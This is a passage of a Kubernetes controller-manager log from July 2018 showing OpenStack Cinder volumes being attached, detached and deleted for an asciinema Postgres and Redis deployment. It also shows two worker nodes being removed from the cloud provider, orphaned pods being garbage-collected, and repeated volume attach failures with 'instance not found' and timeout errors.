attached to a node\r i0727 14:25:17.593541       1 attacher.go:391  detached volume \ efbe4b06-414c-4100-99c2-9870bb729ade\  from node \ k8s-node02\ \r i0727 14:25:17.593646       1 operation_generator.go:416  detachvolume.detach succeeded for volume \ pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/efbe4b06-414c-4100-99c2-9870bb729ade\   on node \ k8s-node02\  \r i0727 14:25:18.098691       1 openstack_volumes.go:397  successfully detached volume: 10a1f7c4-2aff-4d43-9db4-852d5897192e from compute: 67573de4-d5f1-4eba-a285-7a225bdd701e\r i0727 14:25:19.560162       1 attacher.go:391  detached volume \ 10a1f7c4-2aff-4d43-9db4-852d5897192e\  from node \ k8s-node03\ \r i0727 14:25:19.560253       1 operation_generator.go:416  detachvolume.detach succeeded for volume \ pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/10a1f7c4-2aff-4d43-9db4-852d5897192e\   on node \ k8s-node03\  \r i0727 14:25:19.617430       1 pv_controller.go:1248  isvolumereleased pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8 : volume is released\r i0727 14:25:19.617992       1 pv_controller.go:1248  isvolumereleased pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8 : volume is released\r i0727 14:25:19.992835       1 cinder_util.go:142  successfully deleted cinder volume 10a1f7c4-2aff-4d43-9db4-852d5897192e\r i0727 14:25:19.992915       1 pv_controller.go:1313  volume \ pvc-7cc1f883-91a8-11e8-bf50-fa163e50aec8\  deleted\r i0727 14:25:20.013932       1 pv_controller_base.go:382  deletion of claim \ asciinema/postgres-data-asciinema-postgres-0\  was already processed\r i0727 14:25:20.071254       1 cinder_util.go:142  successfully deleted cinder volume efbe4b06-414c-4100-99c2-9870bb729ade\r i0727 14:25:20.071371       1 pv_controller.go:1313  volume \ pvc-7eb242aa-91a8-11e8-bf50-fa163e50aec8\  deleted\r i0727 14:25:20.085808       1 pv_controller_base.go:382  deletion of claim \ asciinema/redis-data-asciinema-redis-0\  was already processed\r i0727 14:25:24.142370       1 wrap.go:42  get /healthz:  18.617µs  200   kube-probe/1.10  127.0.0.1:48544 \r w0727 14:25:26.621259       1 reconciler.go:235  attacherdetacher.detachvolume started for volume \ pvc-8bbfaab2-9005-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/4bedddfb-d477-4c85-af54-12d3d43353ab\   on node \ k8s-node03\  this volume is not safe to detach, but maxwaitforunmountduration 6m0s expired, force detaching\r e0727 14:25:27.435921       1 attacher.go:384  error detaching volume \ 4bedddfb-d477-4c85-af54-12d3d43353ab\  from node \ k8s-node03\ : can not detach volume kubernetes-dynamic-pvc-8bbfaab2-9005-11e8-bf50-fa163e50aec8, its status is error\r e0727 14:25:27.436188       1 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/cinder/4bedddfb-d477-4c85-af54-12d3d43353ab\\\ \  failed. no retries permitted until 2018-07-27 14:27:29.436160175 +0000 utc m=+187355.467997519  durationbeforeretry 2m2s . error: \ detachvolume.detach failed for volume \\\ pvc-8bbfaab2-9005-11e8-bf50-fa163e50aec8\\\   uniquename: \\\ kubernetes.io/cinder/4bedddfb-d477-4c85-af54-12d3d43353ab\\\   on node \\\ k8s-node03\\\  : can not detach volume kubernetes-dynamic-pvc-8bbfaab2-9005-11e8-bf50-fa163e50aec8, its status is error\ \r i0727 14:25:28.392230       1 event.go:218  event v1.objectreference{kind:\ statefulset\ , namespace:\ asciinema\ , name:\ asciinema-postgres\ , uid:\ e8e7d511-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ apps\ , resourceversion:\ 351497\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' create claim postgres-data-asciinema-postgres-0 pod asciinema-postgres-0 in statefulset asciinema-postgres success\r i0727 14:25:28.459251       1 pv_controller.go:1357  error saving claim asciinema/postgres-data-asciinema-postgres-0: operation cannot be fulfilled on persistentvolumeclaims \ postgres-data-asciinema-postgres-0\ : the object has been modified; please apply your changes to the latest version and try again\r i0727 14:25:28.459965       1 event.go:218  event v1.objectreference{kind:\ statefulset\ , namespace:\ asciinema\ , name:\ asciinema-postgres\ , uid:\ e8e7d511-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ apps\ , resourceversion:\ 351497\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' create pod asciinema-postgres-0 in statefulset asciinema-postgres successful\r i0727 14:25:28.586364       1 service_controller.go:326  not persisting unchanged loadbalancerstatus for service asciinema/postgres to registry.\r i0727 14:25:28.593279       1 util.go:532  detected statefulset-style volume name \ postgres-data-asciinema-postgres-0\ ; index=0\r i0727 14:25:28.593342       1 util.go:461  creating volume for pvc \ postgres-data-asciinema-postgres-0\ ; chose zone=\ nova\  from zones= \ nova\  \r i0727 14:25:28.928752       1 openstack_volumes.go:467  created volume e8a2f9da-cd57-41c7-9018-f123a036e37d in availability zone: nova ignore volume az: false\r i0727 14:25:28.928775       1 cinder_util.go:216  successfully created cinder volume e8a2f9da-cd57-41c7-9018-f123a036e37d\r i0727 14:25:28.937183       1 pv_controller.go:1516  volume \ pvc-e8eff4f6-91a8-11e8-bf50-fa163e50aec8\  provisioned for claim \ asciinema/postgres-data-asciinema-postgres-0\ \r i0727 14:25:28.937385       1 event.go:218  event v1.objectreference{kind:\ persistentvolumeclaim\ , namespace:\ asciinema\ , name:\ postgres-data-asciinema-postgres-0\ , uid:\ e8eff4f6-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351510\ , fieldpath:\ \ } : type: 'normal' reason: 'provisioningsucceeded' successfully provisioned volume pvc-e8eff4f6-91a8-11e8-bf50-fa163e50aec8 using kubernetes.io/cinder\r i0727 14:25:28.950544       1 pv_controller.go:771  volume \ pvc-e8eff4f6-91a8-11e8-bf50-fa163e50aec8\  entered phase \ bound\ \r i0727 14:25:28.950622       1 pv_controller.go:910  volume \ pvc-e8eff4f6-91a8-11e8-bf50-fa163e50aec8\  bound to claim \ asciinema/postgres-data-asciinema-postgres-0\ \r e0727 14:25:28.951170       1 pv_protection_controller.go:116  pv pvc-e8eff4f6-91a8-11e8-bf50-fa163e50aec8 failed with : operation cannot be fulfilled on persistentvolumes \ pvc-e8eff4f6-91a8-11e8-bf50-fa163e50aec8\ : the object has been modified; please apply your changes to the latest version and try again\r i0727 14:25:28.970200       1 pv_controller.go:715  claim \ asciinema/postgres-data-asciinema-postgres-0\  entered phase \ bound\ \r i0727 14:25:29.491368       1 reconciler.go:285  attacherdetacher.attachvolume started for volume \ pvc-e8eff4f6-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/e8a2f9da-cd57-41c7-9018-f123a036e37d\   from node \ k8s-node03\  \r i0727 14:25:30.732039       1 openstack_volumes.go:361  successfully attached e8a2f9da-cd57-41c7-9018-f123a036e37d volume to 67573de4-d5f1-4eba-a285-7a225bdd701e compute\r i0727 14:25:34.142766       1 wrap.go:42  get /healthz:  28.005µs  200   kube-probe/1.10  127.0.0.1:48588 \r i0727 14:25:36.185572       1 event.go:218  event v1.objectreference{kind:\ statefulset\ , namespace:\ asciinema\ , name:\ asciinema-redis\ , uid:\ ed9896d0-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ apps\ , resourceversion:\ 351534\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' create claim redis-data-asciinema-redis-0 pod asciinema-redis-0 in statefulset asciinema-redis success\r i0727 14:25:36.220685       1 event.go:218  event v1.objectreference{kind:\ statefulset\ , namespace:\ asciinema\ , name:\ asciinema-redis\ , uid:\ ed9896d0-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ apps\ , resourceversion:\ 351534\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' create pod asciinema-redis-0 in statefulset asciinema-redis successful\r i0727 14:25:36.252013       1 pv_controller.go:1357  error saving claim asciinema/redis-data-asciinema-redis-0: operation cannot be fulfilled on persistentvolumeclaims \ redis-data-asciinema-redis-0\ : the object has been modified; please apply your changes to the latest version and try again\r i0727 14:25:36.252489       1 endpoints_controller.go:375  error syncing endpoints for service \ asciinema/redis\ : endpoints \ redis\  already exists\r i0727 14:25:36.338099       1 service_controller.go:326  not persisting unchanged loadbalancerstatus for service asciinema/redis to registry.\r i0727 14:25:44.142519       1 wrap.go:42  get /healthz:  35.343µs  200   kube-probe/1.10  127.0.0.1:48618 \r i0727 14:25:49.641625       1 util.go:532  detected statefulset-style volume name \ redis-data-asciinema-redis-0\ ; index=0\r i0727 14:25:49.641752       1 util.go:461  creating volume for pvc \ redis-data-asciinema-redis-0\ ; chose zone=\ nova\  from zones= \ nova\  \r i0727 14:25:49.954568       1 openstack_volumes.go:467  created volume ab98b078-2097-4b24-9a47-6ea68844b380 in availability zone: nova ignore volume az: false\r i0727 14:25:49.954719       1 cinder_util.go:216  successfully created cinder volume ab98b078-2097-4b24-9a47-6ea68844b380\r i0727 14:25:49.964751       1 pv_controller.go:1516  volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\  provisioned for claim \ asciinema/redis-data-asciinema-redis-0\ \r i0727 14:25:49.965180       1 event.go:218  event v1.objectreference{kind:\ persistentvolumeclaim\ , namespace:\ asciinema\ , name:\ redis-data-asciinema-redis-0\ , uid:\ ed9be541-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351577\ , fieldpath:\ \ } : type: 'normal' reason: 'provisioningsucceeded' successfully provisioned volume pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8 using kubernetes.io/cinder\r i0727 14:25:49.972635       1 pv_controller.go:771  volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\  entered phase \ bound\ \r i0727 14:25:49.972982       1 pv_controller.go:910  volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\  bound to claim \ asciinema/redis-data-asciinema-redis-0\ \r e0727 14:25:49.987135       1 pv_protection_controller.go:116  pv pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8 failed with : operation cannot be fulfilled on persistentvolumes \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\ : the object has been modified; please apply your changes to the latest version and try again\r i0727 14:25:50.000310       1 pv_controller.go:715  claim \ asciinema/redis-data-asciinema-redis-0\  entered phase \ bound\ \r e0727 14:25:50.001198       1 pv_protection_controller.go:116  pv pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8 failed with : operation cannot be fulfilled on persistentvolumes \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\ : the object has been modified; please apply your changes to the latest version and try again\r i0727 14:25:51.316911       1 reconciler.go:285  attacherdetacher.attachvolume started for volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\   from node \ k8s-node02\  \r i0727 14:25:53.086974       1 openstack_volumes.go:361  successfully attached ab98b078-2097-4b24-9a47-6ea68844b380 volume to 2a67800a-d192-4332-823f-2159dde235b2 compute\r i0727 14:25:54.142402       1 wrap.go:42  get /healthz:  17.535µs  200   kube-probe/1.10  127.0.0.1:48654 \r i0727 14:26:04.142433       1 wrap.go:42  get /healthz:  23.088µs  200   kube-probe/1.10  127.0.0.1:48682 \r i0727 14:26:08.358259       1 controller_utils.go:210  recording status change nodenotready event message for node k8s-node03\r i0727 14:26:08.358280       1 controller_utils.go:141  update ready status of pods on node  k8s-node03 \r i0727 14:26:08.369218       1 controller_utils.go:158  updating ready status of pod asciinema-postgres-0 to false\r i0727 14:26:08.374490       1 controller_utils.go:158  updating ready status of pod calico-node-pv96d to false\r i0727 14:26:08.389858       1 controller_utils.go:158  updating ready status of pod kube-dns-7bd4d5fbb6-j85l2 to false\r i0727 14:26:08.402917       1 controller_utils.go:158  updating ready status of pod kube-proxy-k8s-node03 to false\r i0727 14:26:08.421536       1 controller_utils.go:158  updating ready status of pod nginx-proxy-k8s-node03 to false\r i0727 14:26:08.432577       1 controller_utils.go:158  updating ready status of pod tiller-deploy-5c688d5f9b-9shk8 to false\r i0727 14:26:08.452235       1 controller_utils.go:158  updating ready status of pod traefik-ingress-controller-rx4h7 to false\r i0727 14:26:08.805529       1 node_lifecycle_controller.go:691  deleting node  no longer present in cloud provider : k8s-node03\r i0727 14:26:08.805678       1 controller_utils.go:198  recording deleting node k8s-node03 because it's not present according to cloud provider event message for node k8s-node03\r i0727 14:26:08.819712       1 attach_detach_controller.go:481  error removing node \ k8s-node03\  from desired-state-of-world: failed to delete node \ k8s-node03\  from list of nodes managed by attach/detach controller--the node still contains 1 volumes in its list of volumes to attach\r i0727 14:26:11.525259       1 gc_controller.go:162  found orphaned pod tiller-deploy-5c688d5f9b-9shk8 assigned to the node k8s-node03. deleting.\r i0727 14:26:11.525345       1 gc_controller.go:62  podgc is force deleting pod: kube-system:tiller-deploy-5c688d5f9b-9shk8\r i0727 14:26:11.534016       1 replica_set.go:477  too few replicas for replicaset kube-system/tiller-deploy-5c688d5f9b, need 1, creating 1\r i0727 14:26:11.553316       1 gc_controller.go:166  forced deletion of orphaned pod tiller-deploy-5c688d5f9b-9shk8 succeeded\r i0727 14:26:11.553382       1 gc_controller.go:162  found orphaned pod nginx-proxy-k8s-node03 assigned to the node k8s-node03. deleting.\r i0727 14:26:11.553960       1 gc_controller.go:62  podgc is force deleting pod: kube-system:nginx-proxy-k8s-node03\r i0727 14:26:11.565112       1 event.go:218  event v1.objectreference{kind:\ replicaset\ , namespace:\ kube-system\ , name:\ tiller-deploy-5c688d5f9b\ , uid:\ 31893b47-8ff5-11e8-bf50-fa163e50aec8\ , apiversion:\ extensions\ , resourceversion:\ 351629\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: tiller-deploy-5c688d5f9b-zkp9v\r i0727 14:26:11.593429       1 gc_controller.go:166  forced deletion of orphaned pod nginx-proxy-k8s-node03 succeeded\r i0727 14:26:11.593486       1 gc_controller.go:162  found orphaned pod kube-dns-7bd4d5fbb6-j85l2 assigned to the node k8s-node03. deleting.\r i0727 14:26:11.593512       1 gc_controller.go:62  podgc is force deleting pod: kube-system:kube-dns-7bd4d5fbb6-j85l2\r i0727 14:26:11.616092       1 replica_set.go:477  too few replicas for replicaset kube-system/kube-dns-7bd4d5fbb6, need 2, creating 1\r i0727 14:26:11.635854       1 event.go:218  event v1.objectreference{kind:\ replicaset\ , namespace:\ kube-system\ , name:\ kube-dns-7bd4d5fbb6\ , uid:\ 2a8ec06b-8ff5-11e8-bf50-fa163e50aec8\ , apiversion:\ extensions\ , resourceversion:\ 351626\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: kube-dns-7bd4d5fbb6-84285\r i0727 14:26:11.641572       1 gc_controller.go:166  forced deletion of orphaned pod kube-dns-7bd4d5fbb6-j85l2 succeeded\r i0727 14:26:11.641636       1 gc_controller.go:162  found orphaned pod traefik-ingress-controller-rx4h7 assigned to the node k8s-node03. deleting.\r i0727 14:26:11.641709       1 gc_controller.go:62  podgc is force deleting pod: kube-system:traefik-ingress-controller-rx4h7\r i0727 14:26:11.716372       1 gc_controller.go:166  forced deletion of orphaned pod traefik-ingress-controller-rx4h7 succeeded\r i0727 14:26:11.716493       1 gc_controller.go:162  found orphaned pod kube-proxy-k8s-node03 assigned to the node k8s-node03. deleting.\r i0727 14:26:11.716624       1 gc_controller.go:62  podgc is force deleting pod: kube-system:kube-proxy-k8s-node03\r i0727 14:26:11.736431       1 gc_controller.go:166  forced deletion of orphaned pod kube-proxy-k8s-node03 succeeded\r i0727 14:26:11.736504       1 gc_controller.go:162  found orphaned pod asciinema-postgres-0 assigned to the node k8s-node03. deleting.\r i0727 14:26:11.736529       1 gc_controller.go:62  podgc is force deleting pod: asciinema:asciinema-postgres-0\r i0727 14:26:11.759003       1 gc_controller.go:166  forced deletion of orphaned pod asciinema-postgres-0 succeeded\r i0727 14:26:11.759064       1 gc_controller.go:162  found orphaned pod calico-node-pv96d assigned to the node k8s-node03. deleting.\r i0727 14:26:11.759089       1 gc_controller.go:62  podgc is force deleting pod: kube-system:calico-node-pv96d\r i0727 14:26:11.795918       1 gc_controller.go:166  forced deletion of orphaned pod calico-node-pv96d succeeded\r i0727 14:26:11.804452       1 event.go:218  event v1.objectreference{kind:\ statefulset\ , namespace:\ asciinema\ , name:\ asciinema-postgres\ , uid:\ e8e7d511-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ apps\ , resourceversion:\ 351673\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' create pod asciinema-postgres-0 in statefulset asciinema-postgres successful\r i0727 14:26:13.806099       1 node_lifecycle_controller.go:567  controller observed a node deletion: k8s-node03\r i0727 14:26:13.806199       1 controller_utils.go:198  recording removing node k8s-node03 from controller event message for node k8s-node03\r i0727 14:26:14.142408       1 wrap.go:42  get /healthz:  14.926µs  200   kube-probe/1.10  127.0.0.1:48710 \r i0727 14:26:24.142595       1 wrap.go:42  get /healthz:  22.862µs  200   kube-probe/1.10  127.0.0.1:48732 \r i0727 14:26:28.827618       1 controller_utils.go:210  recording status change nodenotready event message for node k8s-node02\r i0727 14:26:28.827712       1 controller_utils.go:141  update ready status of pods on node  k8s-node02 \r i0727 14:26:28.834897       1 controller_utils.go:158  updating ready status of pod asciinema-redis-0 to false\r i0727 14:26:28.838421       1 controller_utils.go:158  updating ready status of pod calico-node-rgfkz to false\r i0727 14:26:28.853162       1 controller_utils.go:158  updating ready status of pod kube-proxy-k8s-node02 to false\r i0727 14:26:28.865890       1 controller_utils.go:158  updating ready status of pod nginx-proxy-k8s-node02 to false\r i0727 14:26:28.879204       1 controller_utils.go:158  updating ready status of pod traefik-ingress-controller-ds64t to false\r i0727 14:26:29.106460       1 node_lifecycle_controller.go:691  deleting node  no longer present in cloud provider : k8s-node02\r i0727 14:26:29.107214       1 controller_utils.go:198  recording deleting node k8s-node02 because it's not present according to cloud provider event message for node k8s-node02\r i0727 14:26:29.127906       1 attach_detach_controller.go:481  error removing node \ k8s-node02\  from desired-state-of-world: failed to delete node \ k8s-node02\  from list of nodes managed by attach/detach controller--the node still contains 2 volumes in its list of volumes to attach\r i0727 14:26:31.805000       1 gc_controller.go:162  found orphaned pod asciinema-postgres-0 assigned to the node k8s-node02. deleting.\r i0727 14:26:31.805082       1 gc_controller.go:62  podgc is force deleting pod: asciinema:asciinema-postgres-0\r i0727 14:26:31.828433       1 gc_controller.go:166  forced deletion of orphaned pod asciinema-postgres-0 succeeded\r i0727 14:26:31.828502       1 gc_controller.go:162  found orphaned pod kube-proxy-k8s-node02 assigned to the node k8s-node02. deleting.\r i0727 14:26:31.828531       1 gc_controller.go:62  podgc is force deleting pod: kube-system:kube-proxy-k8s-node02\r i0727 14:26:31.854679       1 event.go:218  event v1.objectreference{kind:\ statefulset\ , namespace:\ asciinema\ , name:\ asciinema-postgres\ , uid:\ e8e7d511-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ apps\ , resourceversion:\ 351727\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' create pod asciinema-postgres-0 in statefulset asciinema-postgres successful\r i0727 14:26:31.865011       1 gc_controller.go:166  forced deletion of orphaned pod kube-proxy-k8s-node02 succeeded\r i0727 14:26:31.865073       1 gc_controller.go:162  found orphaned pod traefik-ingress-controller-ds64t assigned to the node k8s-node02. deleting.\r i0727 14:26:31.865129       1 gc_controller.go:62  podgc is force deleting pod: kube-system:traefik-ingress-controller-ds64t\r i0727 14:26:31.911249       1 gc_controller.go:166  forced deletion of orphaned pod traefik-ingress-controller-ds64t succeeded\r i0727 14:26:31.911321       1 gc_controller.go:162  found orphaned pod nginx-proxy-k8s-node02 assigned to the node k8s-node02. deleting.\r i0727 14:26:31.911349       1 gc_controller.go:62  podgc is force deleting pod: kube-system:nginx-proxy-k8s-node02\r i0727 14:26:31.929550       1 gc_controller.go:166  forced deletion of orphaned pod nginx-proxy-k8s-node02 succeeded\r i0727 14:26:31.929620       1 gc_controller.go:162  found orphaned pod tiller-deploy-5c688d5f9b-zkp9v assigned to the node k8s-node02. deleting.\r i0727 14:26:31.929648       1 gc_controller.go:62  podgc is force deleting pod: kube-system:tiller-deploy-5c688d5f9b-zkp9v\r i0727 14:26:31.940947       1 replica_set.go:477  too few replicas for replicaset kube-system/tiller-deploy-5c688d5f9b, need 1, creating 1\r i0727 14:26:31.951961       1 gc_controller.go:166  forced deletion of orphaned pod tiller-deploy-5c688d5f9b-zkp9v succeeded\r i0727 14:26:31.952030       1 gc_controller.go:162  found orphaned pod calico-node-rgfkz assigned to the node k8s-node02. deleting.\r i0727 14:26:31.952058       1 gc_controller.go:62  podgc is force deleting pod: kube-system:calico-node-rgfkz\r i0727 14:26:31.962413       1 event.go:218  event v1.objectreference{kind:\ replicaset\ , namespace:\ kube-system\ , name:\ tiller-deploy-5c688d5f9b\ , uid:\ 31893b47-8ff5-11e8-bf50-fa163e50aec8\ , apiversion:\ extensions\ , resourceversion:\ 351652\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: tiller-deploy-5c688d5f9b-x9692\r i0727 14:26:32.013331       1 gc_controller.go:166  forced deletion of orphaned pod calico-node-rgfkz succeeded\r i0727 14:26:32.013401       1 gc_controller.go:162  found orphaned pod asciinema-redis-0 assigned to the node k8s-node02. deleting.\r i0727 14:26:32.013428       1 gc_controller.go:62  podgc is force deleting pod: asciinema:asciinema-redis-0\r i0727 14:26:32.051232       1 gc_controller.go:166  forced deletion of orphaned pod asciinema-redis-0 succeeded\r i0727 14:26:32.052254       1 gc_controller.go:162  found orphaned pod kube-dns-7bd4d5fbb6-84285 assigned to the node k8s-node02. deleting.\r i0727 14:26:32.052305       1 gc_controller.go:62  podgc is force deleting pod: kube-system:kube-dns-7bd4d5fbb6-84285\r i0727 14:26:32.059983       1 event.go:218  event v1.objectreference{kind:\ statefulset\ , namespace:\ asciinema\ , name:\ asciinema-redis\ , uid:\ ed9896d0-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ apps\ , resourceversion:\ 351757\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' create pod asciinema-redis-0 in statefulset asciinema-redis successful\r i0727 14:26:32.082755       1 replica_set.go:477  too few replicas for replicaset kube-system/kube-dns-7bd4d5fbb6, need 2, creating 1\r i0727 14:26:32.125748       1 event.go:218  event v1.objectreference{kind:\ replicaset\ , namespace:\ kube-system\ , name:\ kube-dns-7bd4d5fbb6\ , uid:\ 2a8ec06b-8ff5-11e8-bf50-fa163e50aec8\ , apiversion:\ extensions\ , resourceversion:\ 351663\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: kube-dns-7bd4d5fbb6-ddrzv\r i0727 14:26:32.145082       1 gc_controller.go:166  forced deletion of orphaned pod kube-dns-7bd4d5fbb6-84285 succeeded\r e0727 14:26:32.327197       1 attacher.go:154  error waiting for volume \ e8a2f9da-cd57-41c7-9018-f123a036e37d\  to be attached from node \ k8s-node03\ : volume \ e8a2f9da-cd57-41c7-9018-f123a036e37d\  failed to be attached within the alloted time\r e0727 14:26:32.327470       1 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/cinder/e8a2f9da-cd57-41c7-9018-f123a036e37d\\\ \  failed. no retries permitted until 2018-07-27 14:26:32.827342419 +0000 utc m=+187298.859179775  durationbeforeretry 500ms . error: \ attachvolume.attach failed for volume \\\ pvc-e8eff4f6-91a8-11e8-bf50-fa163e50aec8\\\   uniquename: \\\ kubernetes.io/cinder/e8a2f9da-cd57-41c7-9018-f123a036e37d\\\   from node \\\ k8s-node03\\\  : volume \\\ e8a2f9da-cd57-41c7-9018-f123a036e37d\\\  failed to be attached within the alloted time\ \r i0727 14:26:32.327934       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ asciinema\ , name:\ asciinema-postgres-0\ , uid:\ e8f87289-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351520\ , fieldpath:\ \ } : type: 'warning' reason: 'failedattachvolume' attachvolume.attach failed for volume \ pvc-e8eff4f6-91a8-11e8-bf50-fa163e50aec8\  : volume \ e8a2f9da-cd57-41c7-9018-f123a036e37d\  failed to be attached within the alloted time\r i0727 14:26:32.847439       1 reconciler.go:285  attacherdetacher.attachvolume started for volume \ pvc-e8eff4f6-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/e8a2f9da-cd57-41c7-9018-f123a036e37d\   from node \ k8s-node01\  \r i0727 14:26:34.107630       1 node_lifecycle_controller.go:567  controller observed a node deletion: k8s-node02\r i0727 14:26:34.107723       1 controller_utils.go:198  recording removing node k8s-node02 from controller event message for node k8s-node02\r i0727 14:26:34.142963       1 wrap.go:42  get /healthz:  18.746µs  200   kube-probe/1.10  127.0.0.1:48764 \r i0727 14:26:34.511383       1 openstack_volumes.go:361  successfully attached e8a2f9da-cd57-41c7-9018-f123a036e37d volume to e523ce2c-d4c4-40cf-b744-a33980d69681 compute\r i0727 14:26:43.134784       1 service_controller.go:636  detected change in list of current cluster nodes. new node set: map k8s-node01:{} \r i0727 14:26:43.134901       1 service_controller.go:644  successfully updated 13 out of 13 load balancers to direct traffic to the updated set of nodes\r i0727 14:26:44.142696       1 wrap.go:42  get /healthz:  21.721µs  200   kube-probe/1.10  127.0.0.1:48800 \r i0727 14:26:54.142438       1 wrap.go:42  get /healthz:  19.69µs  200   kube-probe/1.10  127.0.0.1:48822 \r e0727 14:26:54.974473       1 attacher.go:154  error waiting for volume \ ab98b078-2097-4b24-9a47-6ea68844b380\  to be attached from node \ k8s-node02\ : volume \ ab98b078-2097-4b24-9a47-6ea68844b380\  failed to be attached within the alloted time\r e0727 14:26:54.974572       1 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\\\ \  failed. no retries permitted until 2018-07-27 14:26:55.474547264 +0000 utc m=+187321.506384604  durationbeforeretry 500ms . error: \ attachvolume.attach failed for volume \\\ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\\\   uniquename: \\\ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\\\   from node \\\ k8s-node02\\\  : volume \\\ ab98b078-2097-4b24-9a47-6ea68844b380\\\  failed to be attached within the alloted time\ \r i0727 14:26:54.974850       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ asciinema\ , name:\ asciinema-redis-0\ , uid:\ ed9dfda5-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351586\ , fieldpath:\ \ } : type: 'warning' reason: 'failedattachvolume' attachvolume.attach failed for volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\  : volume \ ab98b078-2097-4b24-9a47-6ea68844b380\  failed to be attached within the alloted time\r i0727 14:26:55.500809       1 reconciler.go:285  attacherdetacher.attachvolume started for volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\   from node \ k8s-node01\  \r e0727 14:26:55.688104       1 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\\\ \  failed. no retries permitted until 2018-07-27 14:26:56.688077659 +0000 utc m=+187322.719915002  durationbeforeretry 1s . error: \ attachvolume.attach failed for volume \\\ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\\\   uniquename: \\\ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\\\   from node \\\ k8s-node01\\\  : instance not found\ \r i0727 14:26:55.688515       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ asciinema\ , name:\ asciinema-redis-0\ , uid:\ 0eea01ad-91a9-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351760\ , fieldpath:\ \ } : type: 'warning' reason: 'failedattachvolume' attachvolume.attach failed for volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\  : instance not found\r i0727 14:26:56.704066       1 reconciler.go:285  attacherdetacher.attachvolume started for volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\   from node \ k8s-node01\  \r e0727 14:26:56.907566       1 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\\\ \  failed. no retries permitted until 2018-07-27 14:26:58.907541306 +0000 utc m=+187324.939378663  durationbeforeretry 2s . error: \ attachvolume.attach failed for volume \\\ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\\\   uniquename: \\\ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\\\   from node \\\ k8s-node01\\\  : instance not found\ \r i0727 14:26:56.908194       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ asciinema\ , name:\ asciinema-redis-0\ , uid:\ 0eea01ad-91a9-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351760\ , fieldpath:\ \ } : type: 'warning' reason: 'failedattachvolume' attachvolume.attach failed for volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\  : instance not found\r i0727 14:26:58.916640       1 reconciler.go:285  attacherdetacher.attachvolume started for volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\   from node \ k8s-node01\  \r e0727 14:26:59.229530       1 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\\\ \  failed. no retries permitted until 